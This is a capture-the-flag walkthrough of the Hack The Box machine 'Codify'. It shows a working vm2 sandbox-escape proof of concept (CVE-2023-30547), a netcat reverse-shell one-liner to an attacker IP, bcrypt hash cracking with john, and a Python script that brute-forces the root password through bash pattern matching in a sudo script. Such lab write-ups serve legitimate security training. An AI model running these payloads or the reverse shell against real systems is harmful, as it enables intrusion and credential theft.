Codify – Hack The Box – @lautarovculic

User.txt

Add the machine IP to /etc/hosts file

Now it’s nmap time

				
					sudo nmap -sS --min-rate 5000  -n -Pn -T4 -vv 10.10.11.239
				
			
				
					PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.52
3000/tcp open  http    syn-ack ttl 63 Node.js Express framework
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
				
			

See that we have the port 22 (OpenSSH 8.9p1 Ubuntu 3ubuntu0.4)

And 80 (Apache httpd 2.4.52).

3000 was also open and running a Node.js Express framework service.

Here: http://codify.htb/editor

I was found a Sandbox Escape Vulnerability

CVE-2023-30547

Then, searching for exploit, I found this:

So here is the PoC:

				
					const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));
				
			

So now we can try get a simple reverse shell. So setup a nc listener

				
					nc -lvp 3737
				
			

And the reverse shell:

				
					rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker IP> 3737 >/tmp/f
				
			

Now it’s time of a lateral movement to Joshua.

Enumerating I find this: /var/www/contact

It’s a folder, and inside we can see tickets.db

				
					$ pwd
/var/www/contact
$ ls
index.js
package.json
package-lock.json
templates
tickets.db
				
			

Making a cat command we can get the hash password.

				
					$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
				
			

Let’s crack it bcrypt (:

				
					john --wordlist=/usr/share/seclists/rockyou.txt hash.txt
				
			

The password is: spongebob1

And using SSH, let’s log in as Joshua:

				
					ssh joshua@10.10.11.239
				
			

And we get the user.txt!!

				
					joshua@codify:~$ ls
user.txt
joshua@codify:~$ cat user.txt
2a887d82*************dc42a42
joshua@codify:~$
				
			

Root.txt

Enumerating with sudo -l we found this:

				
					(root) /opt/scripts/mysql-backup.sh
				
			

And with cat command here is the content:

				
					#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
				
			

The key of the vulnerability is the password confirmation.

				
					if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi
				
			

This segment of the script is responsible for comparing the password provided by the user (USER_PASS) with the password stored in the database (DB_PASS). The vulnerability arises from the use of == within [[ ]] in Bash, which conducts pattern matching instead of a straightforward string comparison. Consequently, the user input (USER_PASS) is interpreted as a pattern. If it contains wildcard characters such as *****, it might inadvertently match with unintended strings.

Example, DB_PASS is pass123 and user enter ***** as password (USER_PASS). The password is OK because matches with any string.

So we need brute-force the pattern.

Here’s a simple script:

				
					import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True
				
			

And the output is:

				
					joshua@codify:~$ nano expl.py
joshua@codify:~$ python3 expl.py
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
joshua@codify:~$
				
			

Root password: kljh12k3jhaskjh12kjh3

So now we can execute command As root:

				
					joshua@codify:~$ su root
Password:
root@codify:/home/joshua# cat /root/root.txt
5d67e189**********d48bca66
root@codify:/home/joshua#
				
			

I hope you found it useful (:

Leave a Reply

Your email address will not be published. Required fields are marked *